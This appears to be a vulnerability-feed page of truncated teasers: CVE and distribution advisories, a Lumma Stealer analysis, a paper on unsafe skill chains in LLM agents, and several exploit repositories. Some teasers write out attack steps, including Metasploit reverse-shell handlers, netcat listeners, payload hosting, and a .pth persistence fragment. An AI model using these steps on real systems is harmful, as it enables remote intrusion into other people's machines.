CVE-2009-3103

CVE-2009-3103 취약 SMB 확인 nmap --script smb-vuln -p139,445 IP-TARGET 리스너 설정 sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run 익스플로잇 실행 python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...

Can Agents Trust Their Skills? Uncovering Unsafe Chains of Trust in Skill-Based LLM Agents

LLM agents increasingly rely on installable skills, which are packages of instructions, code, and resources that equip them with task-specific capabilities and, once installed, can be automatically invoked across subsequent user tasks. This creates a chain of trust in which users delegate authori...

AlmaLinux 9.2 [TuxCare] Security Update: libreswan (ALMALINUX9.2:CLSA-2026:1784131746)

The AlmaLinux 9.2 host has a package installed that is affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1784131746 advisory. - Libreswan, via the function RSAauthenticatehashsignaturepkcs115rsa, did not correctly verify the DER encoding of the ASN.1 digest when the...

AlmaLinux 9.6 [TuxCare] Security Update: go-toolset / golang / golang-bin / golang-docs / golang-misc / etc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2025:1766138358)

The AlmaLinux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2025:1766138358 advisory. - The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL...

CVE-2026-96274

In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdo...

CVE-2026-96274 Uncaught exception in Baicells Nova 430H

In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdo...

CVE-2026-96274

The Baicells Nova 430H is vulnerable to a denial-of-service (DoS) condition where an unauthenticated device within radio range can send a malformed uplink message during connection setup. The flaw exists because the eNodeB fails to properly validate an invalid NAS payload , leading it to forward ...

CVE-2026-96274 Uncaught exception in Baicells Nova 430H

In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdo...

EUVD-2026-89358

In Baicells Nova 430H, an unauthenticated device within radio range can send a malformed uplink message during connection setup that contains an invalid NAS payload. Because the eNodeB does not properly validate this payload, it forwards the message to the core network, which can trigger a shutdo...

Lumma-Stealer-dllhost-Hollowing-C2-Domains-Payload-Extraction-Analysis

1. setup.exe – プライバシー、ドライバー、メモリ文字列 setup.exe ドロッパーの Process Hacker メモリ分析により、Lumma Stealer がプライバシー設定を標的とし、ドライバーをインストールし、メモリを管理することが明らかになりました。 確認された主要な文字列: Privacy Camera – カメラのプライバシー設定へのアクセスまたは無効化を試みます。 Privacy Microphone – マイクのプライバシー設定へのアクセスまたは無効化を試みます。 PreinstallDriver –...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ의 인증되지 않은 원격 코드 실행을 위한 Python 구현 설정 및 익스플로잇 nc -lvnp 4444 - 리스너 시작 python3 -m http.server 8080 - 페이로드가 포함된 poc.xml 호스팅 python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 익스플로잇 시작...

DEBIAN-CVE-2026-102558

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data...

CVE-2026-102558

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data...

CVE-2026-102558

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data...

CVE-2017-0199

CVE-2017-0199 Exploit 툴킷 CVE-2017-0199 - v2.0은 Microsoft RTF RCE를 빠르고 효과적으로 악용할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter 페이로드를 피해자에게 전달할 수 있습니다. 릴리스 노트: 스크립트에 다음 기능이 추가되었습니다. 툴킷을 사용하여 악성 RTF 파일 생성 작은 HTA + 웹 서버 형태의 악용 모드로 툴킷 실행 버전: Python 버전 2.7.13 예시: 단계 1: 다음 명령을...

CVE-2024-3400

CVE-2024-3400 import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with opensystempth,'wb' as f: f.writeb'''import...

CVE-2017-1000486

CVE-2017-1000486 PrimeFaces 5.x EL 인젝션CVE-2017-1000486에 대한 개념 증명 익스플로잇으로, 대상에서 원격 코드 실행RCE을 획득하는 데 사용할 수 있습니다. 취약점 설명 취약점에 대한 훌륭한 설명은 Minded Security 블로그에서 확인할 수 있습니다. 사용법 이 익스플로잇은 모든 중요한 매개변수를 출력하는 도움말 기능을 제공합니다 ./primefaces.py --help PrimeFaces 5.x EL injection exploit CVE-2017-1000486 by MOGWA...

CVE-2026-102558

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data...

EUVD-2026-89103

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data...

CVE-2026-102558

A flaw was found in libsoup. When max-incoming-payload-size is unlimited 0, SoupWebsocketConnection could grow its incoming GByteArray based on an attacker-controlled frame length until the length wrapped, causing a heap buffer overflow while reading frame data. Mitigation To mitigate this...